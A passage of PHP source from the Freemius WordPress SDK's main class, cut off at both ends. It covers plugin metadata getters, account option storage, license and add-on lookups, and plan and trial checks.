$plugin_file ); if ( is_object( $fs ) ) { $fs->remove_sdk_reference(); self::require_plugin_essentials(); if ( is_plugin_active( $fs->_free_plugin_basename ) || is_plugin_active( $fs->premium_plugin_basename() ) ) { // Deleting Free or Premium plugin version while the other version still installed. return; } if ( ! $fs->is_clone() && /** * If there's a context install, run this method only when there's also a context user (e.g., when cloning a subsite of a multisite network into a single-site installation, it's possible for an install to be associated with a non-existing user entity; we want Freemius to be off in this case, while we are trying to recover the user). * * @author Leo Fajardo */ ( ! is_object( $fs->_site ) || $fs->is_registered() ) ) { $fs->_uninstall_plugin_event(); } $fs->do_action( 'after_uninstall' ); } } #---------------------------------------------------------------------------------- #region Plugin Information #---------------------------------------------------------------------------------- /** * Load WordPress core plugin.php essential module. * * @author Vova Feldman (@svovaf) * @since 1.1.1 */ private static function require_plugin_essentials() { if ( ! function_exists( 'get_plugins' ) ) { self::$_static_logger->log( 'Including wp-admin/includes/plugin.php...' ); require_once ABSPATH . 'wp-admin/includes/plugin.php'; } } /** * Load WordPress core pluggable.php module. * * @author Vova Feldman (@svovaf) * @since 1.1.2 */ private static function require_pluggable_essentials() { if ( ! function_exists( 'wp_get_current_user' ) ) { require_once ABSPATH . 'wp-includes/pluggable.php'; } } /** * Return plugin data. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $reparse_plugin_metadata * * @return array */ function get_plugin_data( $reparse_plugin_metadata = false ) { if ( ! isset( $this->_plugin_data ) || $reparse_plugin_metadata ) { self::require_plugin_essentials(); if ( $this->is_plugin() ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.0 When using get_plugin_data() do NOT translate plugin data. * * @link https://github.com/Freemius/wordpress-sdk/issues/77 */ $plugin_data = get_plugin_data( $this->_plugin_main_file_path, false, false ); } else { $theme_data = wp_get_theme(); if ( $this->_plugin_basename !== $theme_data->get_stylesheet() && is_child_theme() ) { $parent_theme = $theme_data->parent(); if ( ( $parent_theme instanceof WP_Theme ) && $this->_plugin_basename === $parent_theme->get_stylesheet() ) { $theme_data = $parent_theme; } } $plugin_data = array( 'Name' => $theme_data->get( 'Name' ), 'Version' => $theme_data->get( 'Version' ), 'Author' => $theme_data->get( 'Author' ), 'Description' => $theme_data->get( 'Description' ), 'PluginURI' => $theme_data->get( 'ThemeURI' ), ); } $this->_plugin_data = $plugin_data; } return $this->_plugin_data; } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * @since 1.2.2.5 If slug not set load slug by module ID. * * @return string Plugin slug. */ function get_slug() { if ( ! isset( $this->_slug ) ) { $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map', array() ); $this->_slug = $id_slug_type_path_map[ $this->_module_id ]['slug']; } return $this->_slug; } /** * @author Leo Fajardo (@leorw) * @since 2.2.1 * * @return string */ function get_premium_slug() { return ( is_object( $this->_plugin ) && ! empty( $this->_plugin->premium_slug ) ) ? $this->_plugin->premium_slug : "{$this->_slug}-premium"; } /** * Retrieve the desired folder name for the product. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @return string Plugin slug. */ function get_target_folder_name() { return $this->can_use_premium_code() ? $this->_plugin->premium_slug : $this->_slug; } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @return number Plugin ID. */ function get_id() { return $this->_plugin->id; } /** * @author Leo Fajardo (@leorw) * @since 2.2.4 * * @return number|null Bundle ID. */ function get_bundle_id() { return ( isset( $this->_plugin->bundle_id ) && FS_Plugin::is_valid_id( $this->_plugin->bundle_id ) ) ? $this->_plugin->bundle_id : null; } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return string|null Bundle public key. */ function get_bundle_public_key() { return isset( $this->_plugin->bundle_public_key ) ? $this->_plugin->bundle_public_key : null; } /** * Get whether the SDK has been initiated in the context of a Bundle. * * This will return true, if `bundle_id` is present in the SDK init parameters. * * ```php * $my_fs = fs_dynamic_init( array( * // ... * 'bundle_id' => 'XXXX', // Will return true since we have bundle id. * 'bundle_public_key' => 'pk_XXXX', * ) ); * ``` * * @author Swashata Ghosh (@swashata) * @since 2.5.0 * * @return bool True if we are running in bundle context, false otherwise. */ private function has_bundle_context() { return ! is_null( $this->get_bundle_id() ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @return string Freemius SDK version */ function get_sdk_version() { return $this->version; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @return number Parent plugin ID (if parent exist). */ function get_parent_id() { return $this->is_addon() ? $this->get_parent_instance()->get_id() : $this->_plugin->id; } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return string */ function get_usage_tracking_terms_url() { return $this->apply_filters( 'usage_tracking_terms_url', "https://freemius.com/product/opt-in/{$this->_plugin->id}/{$this->_slug}/" ); } /** * @todo (For LiteSDK) We can refactor this and other related functions giving links to several landing pages on freemius.com to come from a separate class like `FS_Terms_Pages`. This would get a `FS_WP_Hook` (hypothetical) instance as a dependency and use it to hook into the `license_activation_terms_url` or related filters. The entry level instance from `ms_fs()` would hold a public read-only variable `my_fs()->terms_pages` which would be an instance of `FS_Terms_Pages` and would hold all the links to the terms pages. * @since 2.5.8 * * @return string */ function get_license_activation_terms_url() { return $this->apply_filters( 'license_activation_terms_url', "https://freemius.com/product/license-activation/{$this->_plugin->id}/{$this->_slug}/" ); } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return string */ function get_eula_url() { return $this->apply_filters( 'eula_url', "https://freemius.com/product/{$this->_plugin->id}/{$this->_slug}/legal/eula/" ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @return string Plugin public key. */ function get_public_key() { return $this->_plugin->public_key; } /** * Will be available only on sandbox mode. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return mixed Plugin secret key. */ function get_secret_key() { return $this->_plugin->secret_key; } /** * @author Vova Feldman (@svovaf) * @since 1.1.1 * * @return bool */ function has_secret_key() { return ! empty( $this->_plugin->secret_key ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string|bool $premium_suffix * * @return string */ function get_plugin_name( $premium_suffix = false ) { $this->_logger->entrance(); /** * This `if-else` can be squeezed into a single `if` but I intentionally split it for code readability. * * @author Vova Feldman */ if ( ! isset( $this->_plugin_name ) ) { // Name is not yet set. $this->set_name( $premium_suffix ); } else if ( ! empty( $premium_suffix ) && ( ! is_object( $this->_plugin ) || $this->_plugin->premium_suffix !== $premium_suffix ) ) { // Name is already set, but there's a change in the premium suffix. $this->set_name( $premium_suffix ); } return $this->_plugin_name; } /** * Calculates and stores the product's name. This helper function was created specifically for get_plugin_name() just to make the code clearer. * * @author Vova Feldman (@svovaf) * @since 2.2.1 * * @param string $premium_suffix */ private function set_name( $premium_suffix = '' ) { $plugin_data = $this->get_plugin_data(); // Get name. $this->_plugin_name = $plugin_data['Name']; if ( is_string( $premium_suffix ) ) { $premium_suffix = trim( $premium_suffix ); if ( ! empty( $premium_suffix ) ) { // Check if plugin name contains " (premium)" or a custom suffix and remove it. $suffix = ( ' ' . strtolower( $premium_suffix ) ); $suffix_len = strlen( $suffix ); if ( strlen( $plugin_data['Name'] ) > $suffix_len && $suffix === substr( strtolower( $plugin_data['Name'] ), - $suffix_len ) ) { $this->_plugin_name = substr( $plugin_data['Name'], 0, - $suffix_len ); } } } $this->_logger->departure( 'Name = ' . $this->_plugin_name ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @param bool $reparse_plugin_metadata * * @return string */ function get_plugin_version( $reparse_plugin_metadata = false ) { $this->_logger->entrance(); $plugin_data = $this->get_plugin_data( $reparse_plugin_metadata ); $this->_logger->departure( 'Version = ' . $plugin_data['Version'] ); return $this->apply_filters( 'plugin_version', $plugin_data['Version'] ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @return string */ function get_plugin_title() { $this->_logger->entrance(); $title = $this->_plugin->title; return $this->apply_filters( 'plugin_title', $title ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @param bool $lowercase * * @return string */ function get_module_label( $lowercase = false ) { $label = $this->is_addon() ? $this->get_text_inline( 'Add-On', 'addon' ) : ( $this->is_plugin() ? $this->get_text_inline( 'Plugin', 'plugin' ) : $this->get_text_inline( 'Theme', 'theme' ) ); if ( $lowercase ) { $label = strtolower( $label ); } return $label; } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return string */ function get_plugin_basename() { if ( ! isset( $this->_plugin_basename ) ) { if ( $this->is_plugin() ) { $this->_plugin_basename = plugin_basename( $this->_plugin_main_file_path ); } else { $this->_plugin_basename = basename( dirname( $this->_plugin_main_file_path ) ); } } return $this->_plugin_basename; } function get_plugin_folder_name() { $this->_logger->entrance(); $plugin_folder = $this->_plugin_basename; while ( '.' !== dirname( $plugin_folder ) ) { $plugin_folder = dirname( $plugin_folder ); } $this->_logger->departure( 'Folder Name = ' . $plugin_folder ); return $plugin_folder; } #endregion ------------------------------------------------------------------ /* Account ------------------------------------------------------------------------------------------------------------------*/ /** * Find plugin's slug by plugin's basename. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $plugin_base_name * * @return false|string */ private static function find_slug_by_basename( $plugin_base_name ) { $file_slug_map = self::$_accounts->get_option( 'file_slug_map', array() ); if ( ! array( $file_slug_map ) || ! isset( $file_slug_map[ $plugin_base_name ] ) ) { return false; } return $file_slug_map[ $plugin_base_name ]; } /** * Store the map between the plugin's basename to the slug. * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ private function store_file_slug_map() { $file_slug_map = self::$_accounts->get_option( 'file_slug_map', array() ); if ( ! array( $file_slug_map ) ) { $file_slug_map = array(); } if ( ! isset( $file_slug_map[ $this->_plugin_basename ] ) || $file_slug_map[ $this->_plugin_basename ] !== $this->_slug ) { $file_slug_map[ $this->_plugin_basename ] = $this->_slug; self::$_accounts->set_option( 'file_slug_map', $file_slug_map, true ); } } /** * @return array[number]FS_User */ static function get_all_users() { $users = self::maybe_get_entities_account_option( 'users', array() ); if ( ! is_array( $users ) ) { $users = array(); } return $users; } /** * @param string $module_type * @param null|int $blog_id Since 2.0.0 * * @return array[string]FS_Site */ private static function get_all_sites( $module_type = WP_FS__MODULE_TYPE_PLUGIN, $blog_id = null, $is_backup = false ) { $sites = self::get_account_option( ( $is_backup ? 'prev_' : '' ) . 'sites', $module_type, $blog_id ); if ( ! is_array( $sites ) ) { $sites = array(); } return $sites; } /** * @author Leo Fajardo (@leorw) * * @since 1.2.2 * * @param string $option_name * @param string $module_type * @param null|int $network_level_or_blog_id Since 2.0.0 * * @return mixed */ private static function get_account_option( $option_name, $module_type = null, $network_level_or_blog_id = null ) { if ( ! is_null( $module_type ) && WP_FS__MODULE_TYPE_PLUGIN !== $module_type ) { $option_name = $module_type . '_' . $option_name; } return self::maybe_get_entities_account_option( $option_name, array(), $network_level_or_blog_id ); } /** * @author Leo Fajardo (@leorw) * * @since 1.2.2 * * @param string $option_name * @param mixed $option_value * @param bool $store * @param null|int $network_level_or_blog_id Since 2.0.0 */ private function set_account_option( $option_name, $option_value, $store, $network_level_or_blog_id = null ) { self::set_account_option_by_module( $this->_module_type, $option_name, $option_value, $store, $network_level_or_blog_id ); } /** * @author Vova Feldman (@svovaf) * * @since 1.2.2.7 * * @param string $module_type * @param string $option_name * @param mixed $option_value * @param bool $store * @param null|int $network_level_or_blog_id Since 2.0.0 */ private static function set_account_option_by_module( $module_type, $option_name, $option_value, $store, $network_level_or_blog_id = null ) { if ( WP_FS__MODULE_TYPE_PLUGIN != $module_type ) { $option_name = $module_type . '_' . $option_name; } self::$_accounts->set_option( $option_name, $option_value, $store, $network_level_or_blog_id ); } /** * This method can also return non-entity or non-entities collection option like the `user_id_license_ids_map` option. * * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @param string $option_name * @param mixed $default * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_SITE_LEVEL_PARAMS). * * @return mixed|FS_Plugin[]|FS_User[]|FS_Site[]|FS_Plugin_License[]|FS_Plugin_Plan[]|FS_Plugin_Tag[] */ private static function maybe_get_entities_account_option( $option_name, $default = null, $network_level_or_blog_id = null ) { $option = self::$_accounts->get_option( $option_name, $default, $network_level_or_blog_id ); $class_name = ''; if ( fs_starts_with( $option_name, WP_FS__MODULE_TYPE_THEME . '_' ) ) { $option_name = str_replace( WP_FS__MODULE_TYPE_THEME . '_', '', $option_name ); } switch ( $option_name ) { case 'plugins': case 'themes': case 'addons': $class_name = FS_Plugin::get_class_name(); break; case 'users': $class_name = FS_User::get_class_name(); break; case 'sites': $class_name = FS_Site::get_class_name(); break; case 'licenses': case 'all_licenses': $class_name = FS_Plugin_License::get_class_name(); break; case 'plans': $class_name = FS_Plugin_Plan::get_class_name(); break; case 'updates': $class_name = FS_Plugin_Tag::get_class_name(); break; } if ( empty( $class_name ) ) { return $option; } return fs_get_entities( $option, $class_name ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number|null $module_id * * @return FS_Plugin_License[] */ private static function get_all_licenses( $module_id = null ) { $licenses = self::get_account_option( 'all_licenses' ); if ( ! is_array( $licenses ) ) { $licenses = array(); } if ( is_null( $module_id ) ) { return $licenses; } $licenses = isset( $licenses[ $module_id ] ) ? $licenses[ $module_id ] : array(); return $licenses; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @return array */ private static function get_all_licenses_by_module_type() { $licenses = self::get_account_option( 'all_licenses' ); $licenses_by_module_type = array( WP_FS__MODULE_TYPE_PLUGIN => array(), WP_FS__MODULE_TYPE_THEME => array() ); if ( ! is_array( $licenses ) ) { return $licenses_by_module_type; } foreach ( $licenses as $module_id => $module_licenses ) { $fs = self::get_instance_by_id( $module_id ); if ( false === $fs ) { continue; } $licenses_by_module_type[ $fs->_module_type ] = array_merge( $licenses_by_module_type[ $fs->_module_type ], $module_licenses ); } return $licenses_by_module_type; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param number $module_id * @param number|null $user_id * * @return array */ private static function get_user_id_license_ids_map( $module_id, $user_id = null ) { $all_modules_user_id_license_ids_map = self::get_account_option( 'user_id_license_ids_map' ); if ( ! is_array( $all_modules_user_id_license_ids_map ) ) { $all_modules_user_id_license_ids_map = array(); } $user_id_license_ids_map = isset( $all_modules_user_id_license_ids_map[ $module_id ] ) ? $all_modules_user_id_license_ids_map[ $module_id ] : array(); if ( FS_User::is_valid_id( $user_id ) ) { $user_id_license_ids_map = isset( $user_id_license_ids_map[ $user_id ] ) ? $user_id_license_ids_map[ $user_id ] : array(); } return $user_id_license_ids_map; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param array $new_user_id_license_ids_map * @param number $module_id * @param number|null $user_id */ private static function store_user_id_license_ids_map( $new_user_id_license_ids_map, $module_id, $user_id = null ) { $all_modules_user_id_license_ids_map = self::get_account_option( 'user_id_license_ids_map' ); if ( ! is_array( $all_modules_user_id_license_ids_map ) ) { $all_modules_user_id_license_ids_map = array(); } if ( ! isset( $all_modules_user_id_license_ids_map[ $module_id ] ) ) { $all_modules_user_id_license_ids_map[ $module_id ] = array(); } if ( FS_User::is_valid_id( $user_id ) ) { $all_modules_user_id_license_ids_map[ $module_id ][ $user_id ] = $new_user_id_license_ids_map; } else { $all_modules_user_id_license_ids_map[ $module_id ] = $new_user_id_license_ids_map; } self::$_accounts->set_option( 'user_id_license_ids_map', $all_modules_user_id_license_ids_map, true ); } /** * Get a collection of the user's linked license IDs. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * * @return number[] */ private function get_user_linked_license_ids( $user_id ) { return self::get_user_id_license_ids_map( $this->_module_id, $user_id ); } /** * Override the user's linked license IDs with a new IDs collection. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * @param number[] $license_ids */ private function set_user_linked_license_ids( $user_id, array $license_ids ) { self::store_user_id_license_ids_map( $license_ids, $this->_module_id, $user_id ); } /** * Link a specified license ID to a given user. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $license_id * @param number $user_id */ private function link_license_2_user( $license_id, $user_id ) { $license_ids = $this->get_user_linked_license_ids( $user_id ); if ( in_array( $license_id, $license_ids ) ) { // License already linked. return; } $license_ids[] = $license_id; $this->set_user_linked_license_ids( $user_id, $license_ids ); } /** * @param string|bool $module_type * * @return FS_Plugin_Plan[] */ private static function get_all_plans( $module_type = false ) { $plans = self::get_account_option( 'plans', $module_type ); if ( ! is_array( $plans ) ) { $plans = array(); } return $plans; } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return FS_Plugin_Tag[] */ private static function get_all_updates() { $updates = self::maybe_get_entities_account_option( 'updates', array() ); if ( ! is_array( $updates ) ) { $updates = array(); } return $updates; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return array|false */ private static function get_all_addons() { $addons = self::maybe_get_entities_account_option( 'addons', array() ); if ( ! is_array( $addons ) ) { $addons = array(); } return $addons; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return number[]|false */ private static function get_all_account_addons() { $addons = self::$_accounts->get_option( 'account_addons', array() ); if ( ! is_array( $addons ) ) { $addons = array(); } return $addons; } /** * Check if user has connected his account (opted-in). * * Note: * If the user opted-in and opted-out on a later stage, * this will still return true. If you want to check if the * user is currently opted-in, use: * `$fs->is_registered() && $fs->is_tracking_allowed()` * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param bool $ignore_anonymous_state Since 2.5.1 * * @return bool */ function is_registered( $ignore_anonymous_state = false ) { return ( is_object( $this->_user ) && ( $this->is_premium() || $ignore_anonymous_state || ! $this->is_anonymous() ) ); } /** * Returns TRUE if the user opted-in and didn't disconnect (opt-out). * * @author Leo Fajardo (@leorw) * @since 1.2.1.5 * * @return bool */ function is_tracking_allowed( $blog_id = null, $install = null ) { if ( is_null( $install ) ) { $install = is_null( $blog_id ) ? $this->_site : $this->get_install_by_blog_id( $blog_id ); } return ( is_object( $install ) && FS_Permission_Manager::instance( $this )->is_homepage_url_tracking_allowed( $blog_id ) ); } /** * Returns TRUE if the user never opted-in or manually opted-out. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param int|null $blog_id * * @return bool */ function is_tracking_prohibited( $blog_id = null ) { return ( ! $this->is_registered( true ) || ! $this->is_tracking_allowed( $blog_id ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.4.0 * * @return bool */ function is_bundle_license_auto_activation_enabled() { return $this->is_addon() ? ( is_object( $this->_parent ) && $this->_parent->is_bundle_license_auto_activation_enabled() ) : $this->_is_bundle_license_auto_activation_enabled; } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @return FS_Plugin */ function get_plugin() { return $this->_plugin; } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return FS_User */ function get_user() { return $this->_user; } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return FS_Site */ function get_site() { return $this->_site; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function store_site( $site ) { $this->_site = $site; $this->_store_site( true ); } /** * Deletes the current install with an option to back it up in case restoration will be needed (e.g., if the automatic clone resolution attempt fails). * * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function delete_current_install( $back_up ) { // Back up and delete the unique ID. if ( $back_up ) { self::$_accounts->set_option( 'prev_unique_id', $this->get_anonymous_id() ); } self::$_accounts->set_option( 'unique_id', null ); if ( $back_up ) { // Back up the install before deleting it so that it can be restored later on if necessary (e.g., if the automatic clone resolution attempt fails). $this->back_up_site(); } $this->_delete_site(); $this->_site = null; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function restore_backup_site() { self::$_accounts->set_option( 'unique_id', self::$_accounts->get_option( 'prev_unique_id' ) ); $sites = self::get_all_sites( $this->_module_type, null, true ); $this->store_site( clone $sites[ $this->_slug ] ); } /** * Get plugin add-ons. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @since 1.1.7.3 If not yet loaded, fetch data from the API. * * @param bool $flush * * @return FS_Plugin[]|false */ function get_addons( $flush = false ) { $this->_logger->entrance(); if ( ! $this->_has_addons ) { return false; } $addons = $this->sync_addons( $flush ); return ( ! is_array( $addons ) || empty( $addons ) ) ? false : $addons; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return number[]|false */ function get_account_addons() { $this->_logger->entrance(); $addons = self::get_all_account_addons(); if ( ! is_array( $addons ) || ! isset( $addons[ $this->_plugin->id ] ) || ! is_array( $addons[ $this->_plugin->id ] ) || 0 === count( $addons[ $this->_plugin->id ] ) ) { return false; } return $addons[ $this->_plugin->id ]; } /** * Check if user has any * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return bool */ function has_account_addons() { $addons = $this->get_account_addons(); return is_array( $addons ) && ( 0 < count( $addons ) ); } /** * Get add-on by ID (from local data). * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number $id * * @return FS_Plugin|false */ function get_addon( $id ) { $this->_logger->entrance(); $addons = $this->get_addons(); if ( is_array( $addons ) ) { foreach ( $addons as $addon ) { if ( $id == $addon->id ) { return $addon; } } } return false; } /** * Get add-on by slug (from local data). * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string $slug * * @param bool $flush * * @return FS_Plugin|false */ function get_addon_by_slug( $slug, $flush = false ) { $this->_logger->entrance(); $addons = $this->get_addons( $flush ); if ( is_array( $addons ) ) { foreach ( $addons as $addon ) { if ( $slug === $addon->slug ) { return $addon; } } } return false; } /** * @var array { * @key number Add-on ID. * @val object[] The add-on's plans and prices object. * } */ private $plans_and_pricing_by_addon_id; /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return array { * @key number Add-on ID. * @val object[] The add-on's plans and prices object. * } */ function _get_addons_plans_and_pricing_map_by_id() { if ( ! isset( $this->plans_and_pricing_by_addon_id ) ) { $result = $this->get_api_plugin_scope()->get( $this->add_show_pending( "/addons/pricing.json?type=visible" ) ); $plans_and_pricing_by_addon_id = array(); if ( $this->is_api_result_object( $result, 'addons' ) ) { foreach ( $result->addons as $addon ) { $plans_and_pricing_by_addon_id[ $addon->id ] = $addon->plans; } } $this->plans_and_pricing_by_addon_id = $plans_and_pricing_by_addon_id; } return $this->plans_and_pricing_by_addon_id; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param number $addon_id * @param bool $is_installed * * @return array */ function _get_addon_info( $addon_id, $is_installed ) { $addon = $this->get_addon( $addon_id ); if ( ! is_object( $addon ) ) { // Unexpected call. return array(); } $slug = $addon->slug; $addon_storage = FS_Storage::instance( WP_FS__MODULE_TYPE_PLUGIN, $slug ); if ( ! fs_is_network_admin() ) { // Get blog-level activated installations. $sites = self::maybe_get_entities_account_option( 'sites', array() ); } else { $sites = null; if ( $this->is_addon_activated( $addon_id ) && $this->get_addon_instance( $addon_id )->is_network_active() ) { if ( FS_Site::is_valid_id( $addon_storage->network_install_blog_id ) ) { // Get network-level activated installations. $sites = self::maybe_get_entities_account_option( 'sites', array(), $addon_storage->network_install_blog_id ); } } } $addon_info = array( 'is_connected' => false, 'slug' => $slug, 'title' => $addon->title, 'is_whitelabeled' => $addon_storage->is_whitelabeled ); if ( ! $is_installed ) { $plans_and_pricing_by_addon_id = $this->_get_addons_plans_and_pricing_map_by_id(); if ( isset( $plans_and_pricing_by_addon_id[ $addon_id ] ) ) { $has_paid_plan = false; $plans = $plans_and_pricing_by_addon_id[ $addon_id ]; if ( is_array( $plans ) && count( $plans ) > 0 ) { foreach ( $plans as $plan ) { if ( isset( $plan->pricing ) && is_array( $plan->pricing ) && count( $plan->pricing ) > 0 ) { $has_paid_plan = true; break; } } } $addon_info['has_paid_plan'] = $has_paid_plan; } } if ( ! is_array( $sites ) || ! isset( $sites[ $slug ] ) ) { return $addon_info; } $site = $sites[ $slug ]; $addon_info['is_connected'] = ( ( $addon->parent_plugin_id == $this->get_id() ) && is_object( $site ) && FS_Site::is_valid_id( $site->id ) && FS_User::is_valid_id( $site->user_id ) && FS_Plugin_Plan::is_valid_id( $site->plan_id ) ); if ( $addon_info['is_connected'] && $is_installed ) { return $addon_info; } $addon_info['site'] = $site; $plugins_data = self::maybe_get_entities_account_option( WP_FS__MODULE_TYPE_PLUGIN . 's', array() ); if ( isset( $plugins_data[ $slug ] ) ) { $plugin_data = $plugins_data[ $slug ]; $addon_info['version'] = $plugin_data->version; } $all_plans = self::maybe_get_entities_account_option( 'plans', array() ); if ( isset( $all_plans[ $slug ] ) ) { $plans = $all_plans[ $slug ]; foreach ( $plans as $plan ) { if ( $site->plan_id == Freemius::_decrypt( $plan->id ) ) { $addon_info['plan_name'] = Freemius::_decrypt( $plan->name ); $addon_info['plan_title'] = Freemius::_decrypt( $plan->title ); break; } } } $licenses = self::maybe_get_entities_account_option( 'all_licenses', array() ); if ( is_array( $licenses ) && isset( $licenses[ $addon_id ] ) ) { foreach ( $licenses[ $addon_id ] as $license ) { if ( $license->id == $site->license_id ) { $addon_info['license'] = $license; break; } } } if ( isset( $addon_info['license'] ) ) { if ( isset( $addon_storage->subscriptions ) && ! empty( $addon_storage->subscriptions ) ) { $addon_subscriptions = fs_get_entities( $addon_storage->subscriptions, FS_Subscription::get_class_name() ); foreach ( $addon_subscriptions as $subscription ) { if ( $subscription->license_id == $site->license_id ) { $addon_info['subscription'] = $subscription; break; } } } } return $addon_info; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * * @return FS_User */ static function _get_user_by_id( $user_id ) { self::$_static_logger->entrance( "user_id = {$user_id}" ); $users = self::get_all_users(); if ( is_array( $users ) ) { if ( isset( $users[ $user_id ] ) && $users[ $user_id ] instanceof FS_User && $user_id == $users[ $user_id ]->id ) { return $users[ $user_id ]; } // If user wasn't found by the key, iterate over all the users collection. foreach ( $users as $user ) { /** * @var FS_User $user */ if ( $user_id == $user->id ) { return $user; } } } return null; } /** * Checks if a Freemius user_id is associated with a super-admin. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param number $user_id * * @return bool */ private static function is_super_admin( $user_id ) { $is_super_admin = false; $user = self::_get_user_by_id( $user_id ); if ( $user instanceof FS_User && ! empty( $user->email ) ) { self::require_pluggable_essentials(); $wp_user = get_user_by( 'email', $user->email ); if ( $wp_user instanceof WP_User ) { $super_admins = get_super_admins(); $is_super_admin = ( is_array( $super_admins ) && in_array( $wp_user->user_login, $super_admins ) ); } } return $is_super_admin; } #---------------------------------------------------------------------------------- #region Plans & Licensing #---------------------------------------------------------------------------------- /** * Check if running premium plugin code. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return bool */ function is_premium() { /** * `$this->_plugin` will be `false` when `is_activation_mode` calls this method directly from the * `register_constructor_hooks` method. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ return is_object( $this->_plugin ) ? $this->_plugin->is_premium : false; } /** * Get site's plan ID. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @return number */ function get_plan_id() { return $this->_site->plan_id; } /** * Get site's plan title. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @return string */ function get_plan_title() { $plan = $this->get_plan(); return is_object( $plan ) ? $plan->title : 'PLAN_TITLE'; } /** * Get site's plan name. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function get_plan_name() { $plan = $this->get_plan(); return is_object( $plan ) ? $plan->name : 'PLAN_NAME'; } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return FS_Plugin_Plan|false */ function get_plan() { if ( ! is_object( $this->_site ) ) { return false; } return FS_Plugin_Plan::is_valid_id( $this->_site->plan_id ) ? $this->_get_plan_by_id( $this->_site->plan_id ) : false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.3 * * @return bool */ function is_trial() { $this->_logger->entrance(); if ( ! $this->is_registered( true ) || ! is_object( $this->_site ) ) { return false; } return $this->_site->is_trial(); } /** * Check if currently in a trial with payment method (credit card or paypal). * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @return bool */ function is_paid_trial() { $this->_logger->entrance(); if ( ! $this->is_trial() ) { return false; } if ( ! $this->has_active_valid_license() ) { return false; } if ( $this->_site->trial_plan_id != $this->_license->plan_id ) { return false; } /** * @var FS_Subscription $subscription */ $subscription = $this->_get_subscription( $this->_license->id ); return ( is_object( $subscription ) && $subscription->is_active() ); } /** * Check if trial already utilized. * * @since 1.0.9 * * @return bool */ function is_trial_utilized() { $this->_logger->entrance(); if ( ! $this->is_registered() ) { return false; } return $this->_site->is_trial_utilized(); } /** * Get trial plan information (if in trial). * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool|FS_Plugin_Plan */ function get_trial_plan() { $this->_logger->entrance(); if ( ! $this->is_trial() ) { return false; } // Try to load plan from local cache. $trial_plan = $this->_get_plan_by_id( $this->_site->trial_plan_id ); if ( ! is_object( $trial_plan ) ) { $trial_plan = $this->_fetch_site_plan( $this->_site->trial_plan_id ); /** * If managed to fetch the plan, add it to the plans collection. */ if ( $trial_plan instanceof FS_Plugin_Plan ) { if ( ! is_array( $this->_plans ) ) { $this->_plans = array(); } $this->_plans[] = $trial_plan; $this->_store_plans(); } } if ( $trial_plan instanceof FS_Plugin_Plan ) { return $trial_plan; } /** * If for some reason failed to get the trial plan, fallback to a dummy name and title. */ $trial_plan = new FS_Plugin_Plan(); $trial_plan->id = $this->_site->trial_plan_id; $trial_plan->name = 'pro'; $trial_plan->title = 'Pro'; return $trial_plan; } /** * Check if the user has an activate, non-expired license on current plugin's install. * * @since 1.0.9 * * @return bool */ function is_paying() { $this->_logger->entrance(); if ( ! $this->is_registered( true ) ) { return false; } if ( ! $this->has_paid_plan() ) { return false; } return ( 